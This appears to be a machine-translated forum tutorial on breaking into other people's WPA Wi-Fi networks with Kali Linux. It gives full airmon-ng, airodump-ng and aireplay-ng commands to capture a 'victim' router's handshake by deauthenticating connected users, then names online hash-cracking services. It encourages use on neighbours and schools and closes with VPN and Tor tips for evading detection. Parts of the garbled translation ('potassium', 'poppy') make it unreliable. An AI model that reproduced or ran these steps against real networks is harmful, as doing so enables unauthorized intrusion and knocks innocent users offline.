1. Download kali linux - https://www.kali.org/downloads/
1.1 Installing Linux on a USB flash drive or virtual machine
1.3 Starting with a flash drive or a virtual machine under the potassium
2. Open the console
2.1 Write: iwconfig and check if our network card is detected! If you have a problem at this point (this will not happen with laptops), then you need to buy this card. For 300 rubles, you can take a map of mall with alik and everything will be in chocolate.
2.2 Now turn on the monitoring mode: airmon-ng start wlan0 (the value 0 is the value from the network card parameters, it may be slightly different for you, for example, mon0)
2.3 Now we need to scan: airodump-ng wlan0
2.4 Here we see a list of wi-fi networks in the radius of our device, depends on the network card. Here you need to select the attack object, choose to your taste, I usually take the one whose signal is better (the signal level is determined by the reduction of pwr)
2.5 Now we need to press ctrl + c and stop the scan
2.6 We chose the victim and write: airodump-ng -bssid (here we write a bsaidi of the victim's router, you see it above) --channel (here we write the channel, it is designated as ch, for example 1 or 8) -w / tmp / nazvanie (this path where the final file and name will be) wlan0
2.7 At the very bottom, we see those who are connected to the network, choose the one who has more (more active) Frames,
3. Open another console and write: aireplay-ng -0 1 (1 is the number of deauthorization packages, put 50 at once and wait) -a (here we write a bussaidi router, we see it at the topmost line where its characteristics: level signal, channel, etc.) -c (the pop-up address of the user we are attacking, you can find out its poppy under the STATION) wlan0
3.1 We wait while in the first console there will be an inscription with a hand-held, there still time will be specified, it will be above. Do this command in the second console until the handshake passes. If this does not work at all, then we write this command instead of the one: aireplay-ng -0 1 -a AP_BSSID -c CLIENT_BSSID mon0 -ignore-negative-one (this is for android devices), you can still deauthorize the entire network aireplay-ng --deauth 5-a (here you assign a mac router) wlan0
4. When received a hand-held, go along the path that we indicated and:
4.1 Decrypt this hash itself, give people who can do it
4.2 We address to the service https://xsrc.ru (not rekl) and throw a hash here, it quickly finds (for me for a couple of seconds), maybe longer, but obviously faster than on my laptop in 2009
After decrypting you will receive an email notification, and to get the password you need a key, 1 costs 100 rubles, the more - the cheaper. This is the only drawback to this method, but I prefer it. After buying the key, he will come to the post office, then enter it on the site and ready.
That's ready, then with our, now our network do what we want!
UPD. http://wpa-sec.stanev.org/ Service for free decryption of hashes
UPD2. A few words about safety in work:
If you use this method on neighbors, in school, college, and other simple places - it does not matter. If you go to an office, company, or some place that has important data - be prepared. Learn the basic concepts of security in kali linux. Although vryatli in + - a serious company is the most simple protection, which can be opened in this way. Usually. They have data going through their own server, which needs to be broken in order to get a password.
On security, when you sit in a hacked / free wifi point I'll say a couple of rules:
Use VPN
Try not to authorize on important services
Or use a bunch of VPN + TOP
Alternatively, you can use ssh tunnel instead of vpn.